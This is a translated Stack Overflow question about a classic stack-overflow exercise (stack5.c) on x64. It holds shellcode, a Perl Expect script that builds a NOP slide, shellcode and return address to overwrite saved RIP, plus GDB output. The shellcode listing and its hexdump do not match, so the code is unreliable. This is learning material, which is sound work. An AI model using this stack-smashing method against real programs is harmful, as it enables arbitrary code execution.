x64上stack5.c(缓冲区堆栈溢出EIP)的解决方案

时间:2015-01-18 18:50:33

标签: assembly 64-bit nasm buffer-overflow shellcode

我正在关注以下链接中提供的totorials,以了解如何通过缓冲区溢出插入shell代码并将EIP / RIP重定向到正确制作的shell代码,以便将你赢了!字符串打印到stdout :

本教程是关于如何在i386 arch上覆盖EIP以执行shell代码的清晰而全面的解释。唯一的区别是我使用的是x64 arch(EIP - > RIP)。

此处是 stack5.c 程序,需要打印你赢了!才能成功。解决方案是您需要插入shellcode并强制程序执行shellcode,方法是将保存的RIP覆盖到shellcode(或前面的NOP幻灯片)上。

/* stack5-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x000d0a00)
                printf("you loose!\n");
}

asm中的shell代码( stack5shell.asm ):

BITS 64             ;  Tell nasm this is 32-bit code.

      call mark_below   ;  Call below the string to instructions
      db "you win!",  0x0a, 0x0d  ; with newline and carriage return bytes.

mark_below:
    ; ssize_t write(int fd,  const void *buf, size_t count);
      pop rcx           ; Pop  the return address (string ptr) into rcx.
      mov eax, 4        ; Write  syscall #.
      mov ebx, 1        ; STDOUT  file descriptor
      mov edx, 10       ; Length of the string
      int 0x80          ; Do syscall: write(1, string, 10)

    ; void _exit(int status);
      mov eax, 1        ; Exit syscall #
      mov ebx, 0        ; Status = 0
      int 0x80          ; Do syscall:  exit(0)

在hexdump中使用“nasm -o stack5shell.shell stack5shell.asm”生成的shell代码机器代码:

00000000  eb 15 59 31 c0 b0 04 31  db ff c3 31 d2 b2 08 cd  |..Y1...1...1....|
00000010  80 b0 01 ff cb cd 80 e8  e6 ff ff ff 79 6f 75 20  |............you |
00000020  77 69 6e 21                                       |win!|
00000024

我使用以下perl脚本来测试我的结果(因为我不能在终端上输入任何ascii char,并且程序正在使用fromm stdin来溢出buf []):

#!/usr/bin/env perl

use strict;
use Expect;

my $timeout = 10; 

my $executable = "./stack5 ";
my $nop_slide = "\x90" x 68;
my $youwin_shell = "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x08\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21";

my $return_address = "\xd0\xdc\xff\xff\xff\x7f";

my $input = $nop_slide.$youwin_shell.$return_address."\n";
my $input_length = length $input;

print("Start run... (input length $input_length) \n\n");

my $exp = Expect->spawn($executable) or die "Cannot spawn cookie-win command \n";

$exp->expect($timeout, ["buf"]); 
$exp->send($input);
$exp->soft_close();

perl脚本无法成功生成 you win!输出。

Start run... (input length 111) 

buf: ffffdcd0 cookie: ffffdd2c
^ZYH1��H1�H��H1Ҳ^H̀�^AH��̀�����you win!���� 

当我使用GDB时(如本问题开头提到的2个博文中所述),我似乎已成功正确覆盖了保存的RIP。我的shell代码似乎没有得到执行,所以我对出了什么问题感到困惑:

$ gdb ./stack5 
(gdb) list
warning: Source file is more recent than executable.
1   /* stack5-stdin.c                               *
2    * specially crafted to feed your brain by gera */
3    
4   #include <stdio.h>
5    
6   int main() {
7           int cookie;
8           char buf[80];
9          
10          printf("buf: %08x cookie: %08x\n", &buf, &cookie);
11          gets(buf);
12   
13          if (cookie == 0x000d0a00)
14                  printf("you loose!\n");
15  }
(gdb) break 15
Breakpoint 1 at 0x4005ff: file stack5.c, line 15.
(gdb) continue
Continuing.

Breakpoint 1, main () at stack5.c:15
warning: Source file is more recent than executable.
15  }
(gdb) backtrace
#0  main () at stack5.c:15
(gdb) info frame 0
Stack frame at 0x7fffffffdd40:
 rip = 0x4005ff in main (stack5.c:15); saved rip = 0x7fffffffdcd0
 source language c.
 Arglist at 0x7fffffffdd30, args: 
 Locals at 0x7fffffffdd30, Previous frame's sp is 0x7fffffffdd40
 Saved registers:
  rbp at 0x7fffffffdd30, rip at 0x7fffffffdd38
(gdb) x/120x buf
0x7fffffffdcd0: 0x315915eb  0x3104b0c0  0x31c3ffdb  0xcd08b2d2
0x7fffffffdce0: 0xff01b080  0xe880cdcb  0xffffffe6  0x20756f79
0x7fffffffdcf0: 0x216e6977  0x90909090  0x90909090  0x90909090
0x7fffffffdd00: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdd10: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdd20: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdd30: 0x90909090  0x90909090  0xffffdcd0  0x00007fff

我使用了以下编译标志,以便允许堆栈执行shell代码:

# gcc -g -w -ggdb -static -fno-stack-protector -z execstack -c stack5.c -o stack5.o
# gcc  stack5.o -Wall -lm -o stack5
# execstack --set-execstack stack5
# execstack stack5 
    X stack5

我还使用另一个示例C程序测试了shell代码本身,只是为了确保该代码本身没有错误,如this stackoverflow post中所述。

任何人都知道为什么会出错,即使GDB似乎检测到成功覆盖了saven RIP?

任何帮助表示赞赏

1 个答案:

答案 0 :(得分:1)

您可以在Stack Smashing On A Modern Linux System第1至3部分找到有关如何执行此操作的详细教程。